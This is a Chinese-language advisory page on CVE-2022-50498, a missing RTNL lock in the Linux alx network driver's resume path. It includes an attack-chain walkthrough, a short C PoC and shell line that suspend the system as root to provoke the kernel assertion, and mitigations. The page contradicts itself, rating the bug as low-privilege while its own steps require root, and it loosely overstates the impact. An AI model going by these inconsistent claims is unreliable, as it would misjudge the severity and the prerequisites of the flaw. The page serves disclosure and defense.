IPBUF安全漏洞报告
English
CVE-2022-50498 CVSS 5.5 中危

CVE-2022-50498 Linux内核alx网卡驱动resume时缺少rtnl锁导致断言失败

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50498
漏洞类型
竞态条件/锁缺失(RTNL断言失败)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(alx以太网卡驱动)

相关标签

Linux内核内核漏洞alx驱动RTNL锁竞态条件锁缺失网络驱动电源管理resume本地漏洞

漏洞概述

CVE-2022-50498是Linux内核中alx(Atheros有线以太网)驱动程序的一个漏洞。该漏洞由Zbynek报告,发生在系统从挂起(suspend)状态恢复(resume)的过程中。alx驱动在其内部的关闭和重新打开操作期间未持有rtnl_lock(网络设备全局锁),导致在resume时触发了net/core/dev.c中的RTNL断言失败(assertion failed at net/core/dev.c line 2891)。具体表现为在netif_set_real_num_tx_queues函数中触发断言失败,调用链为alx_resume -> __alx_open -> netif_set_real_num_tx_queues。

该漏洞虽然不是严重的安全问题,因为alx驱动实现了自己的内部锁机制,且不支持动态更改队列数量,但RTNL断言失败会导致内核打印警告信息(splat),影响系统稳定性,并可能引发不可预测的行为。在某些条件下,该问题可能导致系统挂起或网络功能异常,从而影响系统的可用性。CVSS评分为5.5分,属于中等严重级别,主要影响系统的可用性(Availability Impact为High),对机密性和完整性无影响。攻击者需要本地低权限访问即可触发此漏洞,无需用户交互。

该漏洞已在多个Linux内核稳定版本中得到修复,主要通过在alx驱动的resume回调函数中添加rtnl_lock/rtnl_unlock调用来解决。

技术细节

该漏洞的技术原理涉及Linux内核网络子系统的锁机制。RTNL(Routing Netlink Lock)是Linux内核中用于保护网络设备列表和网络设备状态变更的全局读写锁。当网络设备的配置发生变化(如打开/关闭接口、修改队列数量等)时,必须持有RTNL锁。

在alx驱动中,alx_resume函数负责在系统从挂起状态恢复时重新初始化网卡。该函数调用__alx_open来重新打开网卡接口,而__alx_open内部会调用netif_set_real_num_tx_queues来设置传输队列数量。netif_set_real_num_tx_queues函数内部有一个RTNL断言检查(位于net/core/dev.c第2891行),要求调用者必须持有RTNL锁。

漏洞的根本原因是alx驱动在resume路径上没有获取RTNL锁。虽然alx驱动有自己的内部锁(如alx_mutex)来保护其内部状态,但当调用网络核心层的API(如netif_set_real_num_tx_queues)时,仍然需要遵守网络子系统的锁约定。这导致在resume时触发RTNL断言失败。

利用方式:攻击者只需触发系统挂起/恢复流程(如通过echo mem > /sys/power/state或使用pm-suspend命令),当系统恢复时,如果系统使用了alx网卡驱动,就会触发该断言失败。在某些极端情况下,这可能导致系统不稳定或网络功能异常。

修复方案是在alx_resume函数中添加rtnl_lock()和rtnl_unlock()调用,确保在调用网络核心API时持有RTNL锁。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有系统的本地低权限访问权限,并且目标系统必须使用alx(Atheros)有线以太网卡驱动,且运行存在漏洞的Linux内核版本。
STEP 2
步骤2:触发系统挂起
攻击者通过向/sys/power/state写入'mem'或其他挂起状态,触发系统进入挂起状态。这需要root权限或适当的权限。
STEP 3
步骤3:系统自动恢复
系统在挂起后自动恢复(或通过键盘、电源按钮等触发恢复),此时内核开始调用设备的resume回调函数。
STEP 4
步骤4:触发RTNL断言失败
alx驱动的alx_resume回调函数被调用,它调用__alx_open来重新打开网卡接口,__alx_open内部调用netif_set_real_num_tx_queues,由于未持有RTNL锁,触发net/core/dev.c第2891行的RTNL断言失败。
STEP 5
步骤5:影响系统可用性
RTNL断言失败导致内核打印警告信息,在某些情况下可能导致网络功能异常或系统不稳定,影响系统的可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Trigger CVE-2022-50498 by suspending and resuming the system // This will cause RTNL assertion failure in alx driver during resume // Requires: System with alx ethernet driver loaded #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char *argv[]) { int fd; const char *state = "mem"; // Suspend to RAM // Check if running as root (required for suspend) if (getuid() != 0) { fprintf(stderr, "This PoC requires root privileges\n"); return 1; } // Open the power state file fd = open("/sys/power/state", O_WRONLY); if (fd < 0) { perror("Failed to open /sys/power/state"); return 1; } printf("Triggering system suspend...\n"); printf("System will resume shortly, check dmesg for RTNL assertion failure\n"); // Write to power state file to trigger suspend if (write(fd, state, strlen(state)) != strlen(state)) { perror("Failed to write to /sys/power/state"); close(fd); return 1; } close(fd); printf("System resumed. Check kernel logs (dmesg) for:\n"); printf(" RTNL: assertion failed at net/core/dev.c (2891)\n"); printf(" RIP: netif_set_real_num_tx_queues+0x1ac/0x1c0\n"); return 0; } // Alternative: Manual trigger via shell // $ sudo bash -c 'echo mem > /sys/power/state' // After resume, check dmesg for the assertion failure // Expected output in vulnerable kernel: // RTNL: assertion failed at net/core/dev.c (2891) // Call Trace: // __alx_open+0x230/0x570 [alx] // alx_resume+0x54/0x80 [alx] // dpm_run_callback+0x4a/0x150 // device_resume+0x8b/0x190

影响范围

Linux kernel < 6ad1c94e1e7e374d88f0cfd77936dddb8339aaba
Linux kernel < 6f1991a940b90753b34570f093a21dba366e8cc0
Linux kernel < a845a0c4bdece2c0073ecea2fca7c4d5f0550f78
Linux kernel < c0323c0fd07804d5874699e93f935cda0d989c67

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解:1)临时禁用alx驱动模块(echo "blacklist alx" >> /etc/modprobe.d/blacklist.conf);2)避免使用系统挂起/恢复功能,改用休眠或其他电源管理方式;3)如果使用alx网卡,监控系统日志(dmesg)以便及时发现断言失败问题;4)定期检查并应用Linux内核安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表